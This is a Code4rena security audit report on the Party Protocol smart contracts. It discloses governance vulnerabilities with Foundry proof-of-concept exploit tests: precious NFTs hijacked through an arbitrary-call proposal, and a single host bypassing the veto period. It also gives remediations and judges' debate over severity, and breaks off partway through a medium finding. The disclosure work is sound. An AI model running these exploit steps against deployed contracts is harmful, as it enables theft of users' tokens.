Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Party Protocol smart contract system written in Solidity. The audit took place between October 31 — November 10, 2023.

Wardens

68 Wardens contributed reports to Party Protocol:

1. sin1st3r__
2. TresDelinquentes (Silvermist, marchev and deth)
3. 3docSec
4. Arz
5. HChang26
6. Vagner
7. Bauchibred
8. lsaudit
9. Pechenite (Bozho and radev_sw)
10. 0xbrett8571
11. catellatech
12. 0xA5DF
13. KupiaSec
14. pep7siup
15. cccz
16. rvierdiiev
17. klau5
18. pavankv
19. 0xSmartContract
20. Madalad
21. Emmanuel
22. 0xVolcano
23. 0xAnah
24. DavidGiladi
25. 0xadrii
26. leegh
27. minimalproxy
28. adriro
29. Shaheen
30. 0xbepresent
31. evmboi32
32. ast3ros
33. pontifex
34. bart1e
35. P12473
36. J4X
37. chainsnake
38. adeolu
39. Neon2835
40. D1r3Wolf
41. mahdikarimi
42. hunter_w3b
43. K42
44. ZanyBonzy
45. SAAJ
46. clara
47. kaveyjoe
48. Myd
49. foxb868
50. Topmark
51. tabriz
52. 0xhex
53. 0xta
54. dharma09
55. arjun16
56. 0x11singh99
57. tala7985
58. 0xhacksmithh
59. ybansal2403
60. 0xMosh
61. joaovwfreire
62. Walter
63. osmanozdemir1
64. Ch_301
65. 0xmystery

This audit was judged by gzeon.

Final report assembled by thebrittfactor.

Summary

The C4 analysis yielded an aggregated total of 9 unique vulnerabilities. Of these vulnerabilities, 2 received a risk rating in the category of HIGH severity and 7 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 22 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 17 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Party Protocol repository, and is composed of 10 smart contracts written in the Solidity programming language and includes 2120 lines of Solidity code.

In addition to the known issues identified by the project team, a Code4rena bot race was conducted at the start of the audit. The winning bot, henry, from warden hihen, generated the Automated Findings report and all findings therein were classified as out of scope.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

• Malicious Input Handling
• Escalation of privileges
• Arithmetic
• Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (2)

[H-01] The 51% majority can hijack the party’s precious tokens through an arbitrary call proposal if the AddPartyCardsAuthority contract is added as an authority in the party.

Submitted by sin1st3r__

Pre-requisite knowledge & an overview of the features in question

1. The [AddPartyCardsAuthority](https://github.com/code-423n4/2023-10-party/blob/main/contracts/authorities/AddPartyCardsAuthority.sol) contract: The AddPartyCardsAuthority contract is a contract designed to be integrated into a Party and it has only one purpose - to mint new party governance NFT tokens for party members.

   • The party has to add this contract as an authority before it can start minting new party governance NFT tokens for users.
   • The AddPartyCardsAuthority contract is deployed on the mainnet on address 0xC534bb3640A66fAF5EAE8699FeCE511e1c331cAD
2. The 51% Majority attack: The PartyDAO team has put a lot of safeguards on a type of proposal called ArbitraryCallsProposal to prevent the 51% majority of the party to steal the precious NFT tokens of the party through this type of proposal. For a precious NFT token to be transferred out of the party to any other entity through this proposal, the proposal needs to be unanimously voted (100% of party members have voted on that proposal).

Overview of the vulnerability

There is no check on the ArbitraryCallsProposal contract that prevents the calling of the AddPartyCardsAuthority contract. This allows the 51% majority, through an arbitrary call proposal, to hijack ALL of precious tokens of the party.

They can achieve this by going through the following steps:

1. Create an ArbitraryCallsProposal to simply mint a governance NFT token for an arbitrary user with an astronomical voting power, which gives the arbitrary user an ability to pass and bypass the execution delay of any proposal.
2. The newly-created arbitrary user will create an ArbitraryCallsProposal with multiple arbitrary calls with a goal of transferring all of the party precious tokens to themselves.
3. The newly-created arbitrary user will then vote on the ArbitraryCallsProposal proposal they just created.
4. The proposal will pass and be marked as a unanimously voted proposal, allowing them to bypass all of the safeguards in place to prevent the hijacking of precious NFT tokens through a non-unanimously voted proposal.

Proof of concept

1. Add the following code to a file with a name of your liking with an extension of “.t.sol”.
2. Add the created file to the test/ folder
3. Run the following command: forge test --match-contract TestHijackPreciousTokens --match-test testHijackPreciousExploit -vv

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8;

import { Vm } from "forge-std/Test.sol";
import { TestUtils } from "./TestUtils.sol";
import { IERC721 } from "../contracts/tokens/IERC721.sol";
import { GlobalsAdmin } from "./TestUsers.sol";
import { PartyFactory } from "../contracts/party/PartyFactory.sol";
import { Globals } from "../contracts/globals/Globals.sol";
import { Party } from "../contracts/party/Party.sol";
import { ProposalExecutionEngine } from "../contracts/proposals/ProposalExecutionEngine.sol";
import { IFractionalV1VaultFactory } from "../contracts/proposals/vendor/FractionalV1.sol";
import { MockZoraReserveAuctionCoreEth } from "./proposals/MockZoraReserveAuctionCoreEth.sol";
import { IReserveAuctionCoreEth } from "../contracts/vendor/markets/IReserveAuctionCoreEth.sol";
import { PartyGovernance } from "../contracts/party/PartyGovernance.sol";
import { ERC721Receiver } from "../contracts/tokens/ERC721Receiver.sol";
import { MetadataRegistry } from "../contracts/renderers/MetadataRegistry.sol";
import { TokenDistributor } from "../contracts/distribution/TokenDistributor.sol";
import { OffChainSignatureValidator } from "../contracts/signature-validators/OffChainSignatureValidator.sol";
import {ArbitraryCallsProposal} from "../contracts/proposals/ArbitraryCallsProposal.sol";
import {IProposalExecutionEngine} from "../contracts/proposals/IProposalExecutionEngine.sol";
import {AddPartyCardsAuthority} from "../contracts/authorities/AddPartyCardsAuthority.sol";
import {DummyERC721} from "./DummyERC721.sol";
import "../contracts/utils/LibRawResult.sol";
import "forge-std/console.sol";

/// @notice This contract provides a fully functioning party instance for testing.
///     Run setup from inheriting contract.
abstract contract SetupPartyHelper is TestUtils, ERC721Receiver {

    bool private immutable _isForked;
    GlobalsAdmin internal globalsAdmin;
    Party internal party;
    Party internal partyImpl;
    Globals internal globals;
    PartyFactory internal partyFactory;
    TokenDistributor internal tokenDistributor;
    ProposalExecutionEngine pe;
    AddPartyCardsAuthority addPartyCards;
    uint256 partyTotalVotingPower;

    struct PartyMembersVotingPowers {
        uint96 User_John_Votes;
        uint96 User_Danny_Votes;
        uint96 User_Steve_Votes;
        uint96 User_Adam_Votes;
        uint96 User_Jack_Votes;
        uint96 User_Josh_Votes;
    }

    /** -------------------------- Party Authority -------------------------- */

    // Test authority member with dummy randomly generated address
    address internal authorityTestUser = vm.addr(1);

    /** -------------------------- Party Members -------------------------- */

    // Test members with dummy randomly generated addresses
    address internal user_john = vm.addr(2);
    address internal user_danny = vm.addr(3);
    address internal user_steve = vm.addr(4);

    // Voting power of each party member
    uint96 internal johnVotes;
    uint96 internal dannyVotes;
    uint96 internal steveVotes;

    /** -------------------------- Party Hosts -------------------------- */

    // Test hosts with dummy randomly generated addresses
    address internal host_adam = vm.addr(5);
    address internal host_jack = vm.addr(6);
    address internal host_josh = vm.addr(7);

    // Voting power of each party host
    uint96 internal adamVotes;
    uint96 internal jackVotes;
    uint96 internal joshVotes;

    /** -------------------------- Party precious tokens -------------------------- */

    DummyERC721 internal erc721PreciousToken = new DummyERC721();

    IERC721[] internal preciousTokens = new IERC721[](2);
    uint256[] internal preciousTokenIds = new uint256[](2);


    constructor(bool isForked) {
        _isForked = isForked;
    }

    function CreateNewParty(
        PartyMembersVotingPowers memory votingPowers,
        string memory partyName,
        string memory partySymbol,
        uint40 voteDuration,
        uint40 executionDelay,
        uint16 passThresholdBps,
        bool allowArbCallsToSpendPartyEth,
        bool distributionsRequireVote
    ) public {
        Party.PartyOptions memory opts;

        adamVotes = votingPowers.User_Adam_Votes;
        jackVotes = votingPowers.User_Jack_Votes;
        joshVotes = votingPowers.User_Josh_Votes;

        johnVotes = votingPowers.User_John_Votes;
        dannyVotes = votingPowers.User_Danny_Votes;
        steveVotes = votingPowers.User_Steve_Votes;

        address[] memory hosts = new address[](0);

        opts.name = partyName;
        opts.symbol = partySymbol;
        opts.governance.hosts = hosts;
        opts.governance.voteDuration = voteDuration;
        opts.governance.executionDelay = executionDelay;
        opts.governance.passThresholdBps = passThresholdBps;
        opts.proposalEngine.allowArbCallsToSpendPartyEth = allowArbCallsToSpendPartyEth;
        opts.proposalEngine.distributionsRequireVote = distributionsRequireVote;
        opts.governance.totalVotingPower = johnVotes + dannyVotes + steveVotes + adamVotes + joshVotes + jackVotes;  
        partyTotalVotingPower = opts.governance.totalVotingPower;

        initialize(opts);      
    }

    function initialize(Party.PartyOptions memory opts) internal virtual {
        globalsAdmin = new GlobalsAdmin();
        globals = globalsAdmin.globals();
        partyImpl = new Party(globals);
        address globalDaoWalletAddress = address(420);
        globalsAdmin.setGlobalDaoWallet(globalDaoWalletAddress);

        pe = new ProposalExecutionEngine(
            globals,
            _isForked
                ? IReserveAuctionCoreEth(0x5f7072E1fA7c01dfAc7Cf54289621AFAaD2184d0)
                : new MockZoraReserveAuctionCoreEth(),
            _isForked
                ? IFractionalV1VaultFactory(0x85Aa7f78BdB2DE8F3e0c0010d99AD5853fFcfC63)
                : IFractionalV1VaultFactory(address(0))
        );

        globalsAdmin.setProposalEng(address(pe));

        partyFactory = new PartyFactory(globals);
        globalsAdmin.setGlobalPartyFactory(address(partyFactory));

        tokenDistributor = new TokenDistributor(globals, 0);
        globalsAdmin.setTokenDistributor(address(tokenDistributor));

        address[] memory registrars = new address[](2);
        registrars[0] = address(this);
        registrars[1] = address(partyFactory);
        MetadataRegistry metadataRegistry = new MetadataRegistry(globals, registrars);
        globalsAdmin.setMetadataRegistry(address(metadataRegistry));

        OffChainSignatureValidator offChainGlobalValidator = new OffChainSignatureValidator();
        globalsAdmin.setOffChainSignatureValidator(address(offChainGlobalValidator));

        addPartyCards = new AddPartyCardsAuthority();

        address[] memory authorities = new address[](1);
        authorities[0] = authorityTestUser;

        // Mint two precious tokens
        uint256 firstPreciousTokenId = erc721PreciousToken.mint(address(this)); // NFT ID 1
        uint256 secondPreciousTokenId = erc721PreciousToken.mint(address(this)); // NFT ID 2

        preciousTokens[0] = IERC721(address(erc721PreciousToken));
        preciousTokens[1] = IERC721(address(erc721PreciousToken));
        preciousTokenIds[0] = firstPreciousTokenId;
        preciousTokenIds[1] = secondPreciousTokenId;

        party = partyFactory.createParty(
            partyImpl,
            authorities,
            opts,
            preciousTokens,
            preciousTokenIds,
            0
        );

        // Approve the created party to spend the two precious tokens.
        erc721PreciousToken.transferFrom(address(this), address(party), firstPreciousTokenId);
        erc721PreciousToken.transferFrom(address(this), address(party), secondPreciousTokenId);

        vm.startPrank(authorityTestUser);

        // Give party members voting powers
        party.mint(user_john, johnVotes, user_john);
        party.mint(user_danny, dannyVotes, user_danny);
        party.mint(user_steve, steveVotes, user_steve);

        // Give party members voting powers
        party.mint(host_adam, adamVotes, host_adam);
        party.mint(host_jack, jackVotes, host_jack);
        party.mint(host_josh, joshVotes, host_josh);

        vm.stopPrank();

        vm.warp(block.timestamp + 1);
    }

}

contract TestHijackPreciousTokens is SetupPartyHelper {

    constructor() SetupPartyHelper(false) {}

    /** ------ Create a new party ------ */
    function setUp() public { 

        PartyMembersVotingPowers memory votingPowers = PartyMembersVotingPowers({
            User_John_Votes: 50 ether,
            User_Danny_Votes: 50 ether,
            User_Steve_Votes: 50 ether,
            User_Adam_Votes: 50 ether,
            User_Jack_Votes: 50 ether,
            User_Josh_Votes: 50 ether
        });

        super.CreateNewParty(
            votingPowers,
            "TestParty",
            "PRT",
            100,
            0, // setting the execution delay as zero for the poc
            5000, // 50% of members have to accept the proposal for it go through
            true,
            true
        );

        // Add `AddPartyCardsAuthority` contract as an authority
        vm.prank(address(party));
        party.addAuthority(address(addPartyCards));

    }

    function testHijackPreciousExploit() public {

        /** ----------------------- [STAGE 1] ----------------------- */
        /**
        * [Stage 1] of the exploit objectives:
        *  -  Through an arbitrary call (unanimous proposal),
        *      mint an arbitrary address `attacker` an astronomical voting power.
        */

        address attacker = vm.addr(48748743784378);

        ArbitraryCallsProposal.ArbitraryCall[] memory calls = new ArbitraryCallsProposal.ArbitraryCall[](1);

        address[] memory newPartyMembers = new address[](1);
        uint96[] memory newPartyMemberVotingPowers = new uint96[](1);
        address[] memory initialDelegates = new address[](1);

        newPartyMembers[0] = attacker;
        newPartyMemberVotingPowers[0] = 7922816251426433759354395;
        initialDelegates[0] = address(0);

        /** ------------ Non-unanimous `ArbitraryCall` proposal ------------ */

        calls[0] = createArbitraryCall(
            address(addPartyCards),
            abi.encodeWithSelector(AddPartyCardsAuthority.addPartyCards.selector, newPartyMembers, newPartyMemberVotingPowers, initialDelegates)
        );

        PartyGovernance.Proposal memory test_proposal = createArbitraryCallProposal(calls);

        vm.prank(user_john);
        uint256 proposalId = party.propose(test_proposal, 0);

        vm.prank(user_danny);
        party.accept(proposalId, 0);

        vm.prank(user_steve);
        party.accept(proposalId, 0);

        vm.prank(user_john);
        party.execute(
            proposalId,
            test_proposal,
            preciousTokens,
            preciousTokenIds,
            "",
            ""
        );

        vm.warp(block.timestamp + 5);

        /** ----------------------- [STAGE 2] ----------------------- */
        /**
        * [Stage 2] of the exploit objectives:
        *  -  Hijack the two precious tokens of the party
        * 
        *  The attacker will simply create an `ArbitraryCall` proposal to transfer the two precious tokens to him
        *  Since the attacker was minted voting power equivalent to the total voting power, 
        *      the proposal will be marked as unanimous, bypassing the execution delay and precious NFT safeguards.
        */

        calls = new ArbitraryCallsProposal.ArbitraryCall[](2);

        calls[0] = createArbitraryCall(
            address(preciousTokens[0]),
            abi.encodeWithSelector(IERC721.transferFrom.selector, address(party), address(attacker), preciousTokenIds[0])
        );

        calls[1] = createArbitraryCall(
            address(preciousTokens[1]),
            abi.encodeWithSelector(IERC721.transferFrom.selector, address(party), address(attacker), preciousTokenIds[1])
        );

        test_proposal = createArbitraryCallProposal(calls);

        // The proposal will pass, will be marked as unanimous and it'll be ready to execute.

        vm.startPrank(attacker);

        proposalId = party.propose(test_proposal, 1);

        party.execute(
            proposalId,
            test_proposal,
            preciousTokens,
            preciousTokenIds,
            "",
            ""
        );

        vm.stopPrank();

    }



    struct ArbitraryCall {
        address payable target;
        uint256 value;
        bytes data;
        bytes32 expectedResultHash;
    }

    function createArbitraryCallProposal(ArbitraryCallsProposal.ArbitraryCall[] memory calls) public pure returns(PartyGovernance.Proposal memory) {
        return PartyGovernance.Proposal({
            maxExecutableTime: uint40(999999999999),
            cancelDelay: 10000,
            proposalData: abi.encodeWithSelector(
                bytes4(uint32(ProposalExecutionEngine.ProposalType.ArbitraryCalls)),
                calls
            )
        });
    }


    function createArbitraryCall(
        address arbitraryCallTarget,
        bytes memory targetData
    )
        private
        pure
        returns (ArbitraryCallsProposal.ArbitraryCall memory)
    {
        return ArbitraryCallsProposal.ArbitraryCall({
                target: payable(address(arbitraryCallTarget)),
                value: 0,
                data: targetData,
                expectedResultHash: bytes32(0)
            });
    }


}

Remediation

In the function _isCallAllowed in ArbitraryCallsProposal, add a check to prevent an arbitrary call from calling the contract AddPartyCardsAuthority. Or add a check to prevent an arbitrary call with a function selector, equivalent to that of the addPartyCards function in the ArbitraryPartyCardsAuthority contract, to be executed.

Assessed type

Token-Transfer

KingNFT (lookout) commented:

A malicious AddPartyCardsAuthority proposal could be rejected by hosts during the ExecutionDelay phase - the likelihood of a success attack is not too high.

M might be more appropriate.

0xble (Party) acknowledged and commented:

Valid, although likely will not fix, as we’ve been debating removing the precious mechanism in a subsequent release. In additional to what @KingNFT pointed out, members can also use rage quit to exit if enabled.

arr00 (Party) commented:

An additional detail to add is that parties utilizing precious tokens would set their enableAddAuthority flag to false which would disable adding authorities. See here.

gzeon (judge) decreased severity to Medium and commented:

While governance attacks are typically out-of-scope, this attack specifically bypasses the precious mechanism, which I believe will make it reasonable to consider this as a valid medium.

0xStalin (warden) commented:

I would like to mention that I believe it’s unfair to treat this report as a medium when the PartyDAO team considers this vulnerability to be high/severe. In their bug bounty program table they specifically mention “bypass guardrails to transfer precious NFT from parties” to be a severe level vulnerability

Additionally, looking at one of the audit reports they received from a firm (https://github.com/PartyDAO/party-protocol/blob/main/audits/Party-Protocol-Macro-Audit.pdf), one of the high severity findings listed is similar to the bug in question, just a different way to bypass the precious NFT token guardrails (and it was acknowledged and fixed).

It’s worth mentioning that they consider it a high severity vulnerability only if the majority is able to hijack the precious NFT tokens through ArbitraryCallsProposal only and not any other type of proposal. This report clearly demonstrates the ability for an attacker to hijack the precious tokens through ArbitraryCallsProposal.

deth (warden) commented:

I would like to point out that a majority attack has been acknowledged in a previous c4 finding.

Issue #124 was judged as invalid because it was reported in a previous c4 finding as well.

0xStalin (warden) commented:

@deth - The previous C4 finding is about how an attacker can (under some circumstances/conditions) execute a flash loan attack to get 51% voting power and (potentially) create proposals and get them to pass if no host has vetoed on them.

The finding in question here, is discussing how the 51% majority is able to hijack precious NFT tokens through an arbitrary call proposal when the intended behavior is to be able to transfer the precious NFT tokens out of a party through an arbitrary call proposal ONLY IF the proposal was voted on by 100% of the party members and not just the majority. The PartyDAO team has put several safeguards to prevent the transfer of those precious tokens through an arbitrary call proposal if it has not been unanimously voted (unanimous vote == 100% of the party members voted on the proposal).

The finding in question bypasses all those mitigations. I made the case why this is a high severity vulnerability not a medium one, in my previous comment.

deth (warden) commented:

@0xStalin - I agree that this report is nuanced, but isn’t Stage 1 of the issue a majority attack?

The 51% majority can hijack precious tokens of a party through an arbitrary call proposal.

The finding in question is discussing how the 51% majority is able to hijack precious NFT

You also state it passes all mitigations and safeguards, but the executionDelay of the Party is set to 0 in the PoC. The executionDelay in itself is a safeguard.

Quote from the previous finding.

The expectation is parties will have reasonable governance settings and active governance to veto malicious proposals to manage the risk of a majority attack and if they don’t (e.g. set an execution delay of 0) it is a deliberate choice on their part rather than a vulnerability.

Will this attack still work, if executionDelay != 0, because it’s the hosts responsibility to veto these sorts of proposals and it’s their error if executionDelay is set to 0 in the first place?

0xStalin (warden) commented:

@deth - So there are multiple things I need to point out in regards to the context of the bug in question.

When I point out that it bypasses all mitigations and safeguards, I’m talking about the safeguards implemented in the ArbitraryCallsProposal specifically, the executionDelay is out of question and I’ll explain why in my next point. You can see the precious NFT safeguards implemented in ArbitraryCallsProposal lines 185-215 and lines 63-104.

This begs the question: okay why ArbitraryCallsProposal specifically is an issue? The majority can actually execute this attack by adding a new authority through AddAuthorityProposal and hijack those tokens or they can hijack those through other proposals.

The thing with ArbitraryCallsProposal, specifically, is that it can execute any arbitrary logic and does NOT have defined actions and defined risk (I’m quoting the sponsor here). A single party member/attacker can very easily trick the majority into accepting this proposal and hijack those tokens, so it doesn’t even have to be the 51% majority trying to steal them.

This was the sponsor’s response when asked why do they consider hijacking precious tokens through a unanimously voted ArbitraryCallProposal a vulnerability while the same can be achieved using other proposals:

“It is more dangerous because it can execute any arbitrary logic whereas other proposals have defined actions and defined risk.”

and that’s really why the executionDelay protection is not so relevant here.

gzeon (judge) commented:

This is not a duplicate of this previous c4 finding. executionDelay is not relevant here, as it is relevant in the other issue where it prevents the same block execution with a flashloan. That issue also does NOT bypass precious mechanism.

However, both contracts in question here ()AddPartyCardsAuthority and ArbitraryCallsProposal) are actually out-of-scope for this audit. So despite this, it seems to be a valid bypass with sponsor acknowledgment, this would be considered as out-of-scope and you should report it to PartyDAO bug bounty program instead.

0xStalin (warden) commented:

@gzeon - The ProposalExecutionEngine contract implements the ArbitraryCallsProposal contract so the ArbitraryCallsProposal contract is in-scope as well as all the other contracts which the ProposalExecutionEngine contract extends, isn’t it?

The ArbitraryCallsProposal is an abstract contract and is implemented by the ProposalExecutionEngine which would make it an in-scope asset, isn’t it?

Secondly, while the AddPartyCardsAuthority is OOS, the issue does NOT exist in this contract in the first place. The issue exists in ArbitraryCallsProposal contract. It’s just that when AddPartyCardsAuthority is added to a party to extend the functionality, this becomes an issue and precious tokens can easily be hijacked.

gzeon (judge) commented:

Reviewing again, thanks for the correction.

gzeon (judge) increased severity to High and commented:

Agree to pump this to High after considering PartyDAO bug bounty program and the fact that guardrail can be bypassed to steal tokens.

[H-02] Single host can unfairly skip veto period for proposal that does not have full host support

Submitted by Madalad, also found by sin1st3r__, adriro, Emmanuel, 0xbepresent, evmboi32, Shaheen, 3docSec, klau5 (1, 2), ast3ros, pontifex, HChang26, bart1e, P12473, and rvierdiiev

After a proposal passes the vote threshold, there is a delay before it can be executed so that hosts get a chance to veto it if they wish. If all hosts voting in favour of the proposal, then this veto period is skipped.

However, a single host can ensure the veto period is skipped even if no other hosts accept the proposal. The veto period is in place to prevent harmful/exploitative proposals from being executed, even if they are passed; therefore, a malicious/compromised host being able to skip the veto period can be seriously harmful to the protocol and its users. The Tornado Cash governance hack from May 2023 is a relevant example, during which the attacker was able to steal around $1 million worth of assets.

This attack has a very low cost and a very high potential impact. If a malicious proposal is crafted in the same way used by the Tornado Cash attacker using hidden CREATE2 and SELFDESTRUCT operations, then it is entirely feasible that it would meet the voting threshold, as many voters may not be savvy enough to spot the red flags.

Proof of Concept

PartyGovernance#abdicateHost is a function that allows a host to renounce their host privileges, and transfer them to another address.

File: contracts\party\PartyGovernance.sol

457:     /// @notice Transfer party host status to another.
458:     /// @param newPartyHost The address of the new host.
459:     function abdicateHost(address newPartyHost) external {
460:         _assertHost();
461:         // 0 is a special case burn address.
462:         if (newPartyHost != address(0)) {
463:             // Cannot transfer host status to an existing host.
464:             if (isHost[newPartyHost]) {
465:                 revert InvalidNewHostError();
466:             }
467:             isHost[newPartyHost] = true;
468:         } else {
469:             // Burned the host status
470:             --numHosts;
471:         }
472:         isHost[msg.sender] = false;
473:         emit HostStatusTransferred(msg.sender, newPartyHost);
474:     }

https://github.com/code-423n4/2023-10-party/blob/main/contracts/party/PartyGovernance.sol#L457

This can be done at any stage in the life cycle of a proposal. This means that a host can accept a proposal, incrementing the numHostsAccepted value for that proposal, then transfer the host status to another wallet that they control (that has non-zero voting power) and accept again, incrementing numHostsAccepted for a second time. This process can be repeated as many times as necessary until numHostsAccepted is equal to the total number of hosts numHosts. Once the proposal reaches the required vote threshold, the veto period will be skipped, despite only one host accepting.

The following foundry test shows the process described above. Copy and paste it into PartyGovernanceTest.t.sol to run.

    function test_maliciousHost() public {
        // Create users
        PartyParticipant alice = new PartyParticipant();
        PartyParticipant bob = new PartyParticipant();
        PartyParticipant chad = new PartyParticipant();
        PartyParticipant aliceAltWallet = new PartyParticipant();

        // Create party
        uint16 passThresholdBps = 5100;
        (
            Party party,
            IERC721[] memory preciousTokens,
            uint256[] memory preciousTokenIds
        ) = partyAdmin.createParty(
                partyImpl,
                PartyAdmin.PartyCreationMinimalOptions({
                    host1: address(alice),
                    host2: address(bob),
                    passThresholdBps: passThresholdBps,
                    totalVotingPower: 151,
                    preciousTokenAddress: address(toadz),
                    preciousTokenId: 1,
                    rageQuitTimestamp: 0,
                    feeBps: 0,
                    feeRecipient: payable(0)
                })
            );

        // alice and bob are the only two hosts
        assert(party.isHost(address(alice)));
        assert(party.isHost(address(bob)));
        assert(!party.isHost(address(chad)));
        assert(!party.isHost(address(aliceAltWallet)));

        // mint governance NFTs
        partyAdmin.mintGovNft(party, address(alice), 50, address(alice));
        partyAdmin.mintGovNft(party, address(bob), 50, address(bob));
        partyAdmin.mintGovNft(party, address(chad), 50, address(chad));
        partyAdmin.mintGovNft(party, address(aliceAltWallet), 1, address(aliceAltWallet));

        // alice proposes a proposal
        PartyGovernance.Proposal memory p1 = PartyGovernance.Proposal({
            maxExecutableTime: 9999999999,
            proposalData: abi.encodePacked([0]),
            cancelDelay: uint40(1 days)
        });
        vm.roll(block.number + 1);
        uint256 proposalId = alice.makeProposal(party, p1, 0);
        
        // chad accepts, but bob (the other host) does not
        vm.roll(block.number + 1);
        chad.vote(party, proposalId, 0);

        // proposal meets vote threshold, but not all hosts have accepted
        vm.roll(block.number + 1);
        (
            PartyGovernance.ProposalStatus status,
            PartyGovernance.ProposalStateValues memory values
        ) = party.getProposalStateInfo(proposalId);
        assertEq(values.numHosts, 2);
        assertEq(values.numHostsAccepted, 1);
        assertEq(uint(status), uint(PartyGovernance.ProposalStatus.Passed)); // not Ready => veto period has not been skipped

        // alice transfers host status to her other wallet address
        vm.prank(address(alice));
        vm.roll(block.number + 1);
        party.abdicateHost(address(aliceAltWallet));

        // alice accepts using her other wallet
        vm.roll(block.number + 1);
        aliceAltWallet.vote(party, proposalId, 0);

        // veto is now skipped even though a host (bob) did not accept
        vm.roll(block.number + 1);
        (status, values) = party.getProposalStateInfo(proposalId);
        assertEq(values.numHosts, 2);
        assertEq(values.numHostsAccepted, 2);
        assertEq(uint(status), uint(PartyGovernance.ProposalStatus.Ready)); // Ready for execution => veto period has now been skipped
    }

Recommended Mitigation Steps

Utilise snapshots for hosts in a similar way to how votingPower is currently handled, so that accept only increments numHostsAccepted if the caller was a host at proposedTime - 1. This can be achieved under the current architecture in the following way:

• Add a new bool member to the VotingPowerSnapshot struct named isHost.
• Make abdicateHost save new snapshots to the _votingPowerSnapshotsByVoter mapping with the updated isHost values for the old and new hosts.
• Replace the isHost[msg.sender] check in accept with a snapshot check, similar to how getVotingPowerAt is currently used.

Assessed type

Governance

gzeon (judge) commented:

Confirmed by sponsor here. Judging as high due to compromised governance.

0xble (Party) confirmed

Note: For full discussion, see here.

Medium Risk Findings (7)

[M-01] Some arbitrary proposal calls will fail because executeProposal() in ProposalExecutionEngine is not payable

Submitted by Arz, also found by HChang26 and Vagner

The executeProposal() function in ProposalExecutionEngine.sol is used to execute different types of proposal call. One of this type is ArbitraryCallsProposal and this type should be able to send ether from the Party’s balance or the forwarded ETH attached to the call msg.value. However, the problem is that the executeProposal() function is not marked as payable and all calls that are sending ether and using msg.value will fail because of that.

Note: Even though this function is delegate-called from PartyGovernance.sol::execute(), which is payable the msg.value, it is still preserved when delegatecall is used and the function called needs to be payable.

Impact

All proposal calls that are using attached ether will fail and Party wont be able to execute these types of proposals, which can be important.

Proof of Concept

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/proposals/ProposalExecutionEngine.sol#L146-L148

146:   function executeProposal(
147:     ExecuteProposalParams memory params
148:   ) external onlyDelegateCall returns (bytes memory nextProgressData) { 

As you can see, the executeProposal() function is not payable; however, later it then calls _executeArbitraryCalls():

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/proposals/ArbitraryCallsProposal.sol#L72-L74

72:  // If we're not allowing arbitrary calls to spend the Party's ETH, only
73:  // allow forwarded ETH attached to the call to be spent.
74:  uint256 ethAvailable = allowArbCallsToSpendPartyEth ? address(this).balance : msg.value;

As you can see and as the comment suggests, the call should be able to use the forwarded ether attached to the call and ethAvailable is then used in _executeSingleArbitraryCall(). However, because the function is not payable, the call will revert.

Recommended Mitigation Steps

Make the executeProposal() function payable.

Assessed type

Payable

KingNFT (lookout) commented:

Seems right, EVM source code:

File: core\vm\contract.go
134: func (c *Contract) AsDelegate() *Contract {
135: 	// NOTE: caller must, at all times be a contract. It should never happen
136: 	// that caller is something other than a Contract.
137: 	parent := c.caller.(*Contract)
138: 	c.CallerAddress = parent.CallerAddress
139: 	c.value = parent.value
140: 
141: 	return c
142: }

arr00 (Party) confirmed

[M-02] PartyGovernanceNFT.sol#mint - User can delegate another users funds to themselves and brick them from changing the delegation

Submitted by TresDelinquentes, also found by klau5, 0xadrii, leegh, minimalproxy, rvierdiiev (1, 2), 3docSec, and mahdikarimi

The natural flow of minting a new Card is through contributing to the Crowdfund. The protocol also allows users to contributeFor in the name of someone else.

Let’s follow the flow of the contributeFor. The function immediately calls _contribute:

function _contribute(
        address payable contributor,
        address delegate,
        uint96 amount,
        uint256 tokenId,
        bytes memory gateData
    ) private returns (uint96 votingPower) {
        // Require a non-null delegate.
        if (delegate == address(0)) {
            revert InvalidDelegateError();
        }

        // Must not be blocked by gatekeeper.
        IGateKeeper _gateKeeper = gateKeeper;
        if (_gateKeeper != IGateKeeper(address(0))) {
            if (!_gateKeeper.isAllowed(msg.sender, gateKeeperId, gateData)) {
                revert NotAllowedByGateKeeperError(msg.sender, _gateKeeper, gateKeeperId, gateData);
            }
        }

        votingPower = _processContribution(contributor, delegate, amount);
        ...

Some checks are done, then we call _processContribution:

function _processContribution(
        address payable contributor,
        address delegate,
        uint96 amount
    ) internal returns (uint96 votingPower) {
        address oldDelegate = delegationsByContributor[contributor];
        if (msg.sender == contributor || oldDelegate == address(0)) {
            // Update delegate.
            delegationsByContributor[contributor] = delegate;
        } else {
            // Prevent changing another's delegate if already delegated.
            delegate = oldDelegate;
        }
     ...

Inside we see this if/else statement. It allows for anyone to set delegate for a user, but only if oldDelegate == address(0), meaning it’s never been set before. If msg.sender == contributor, they can still set the delegate to whoever they wish. Anyone else calling contributeFor after the original contributor has delegated and can’t change the delegate.

The rest of the function finishes and we go back to _contribute after which we call party.mint.

Inside mint we see the following:

        ...
        address delegate_ = delegationsByVoter[owner];
        if (delegate_ != address(0)) {
            delegate = delegate_;
        }
        ...

Here, we check if delegationsByVoter[owner] != address(0); meaning this is the first time a delegate is being set. If a delegate already exists, we set the new delegate to the old delegationsByVoter[owner]. This is where the problem lies. Note that this function doesn’t take into account if msg.sender == contributor, so once delegationsByVoter[owner] is set, there is no changing it through the mint function again.

So let’s imagine the following scenario: maxTotalContributions = 20 ether.

1. Users already contributed 5 ether to the crowdfund.
2. Bob decides to contribute another 15 ether to finalize it early, and sets himself as initialDelegate.
3. Alice being malicious, front-runs Bob’s contribution with contributeFor{value: 1 }(0, payable(address(bob)), address(alice), ""); setting Bob’s delegate to herself.

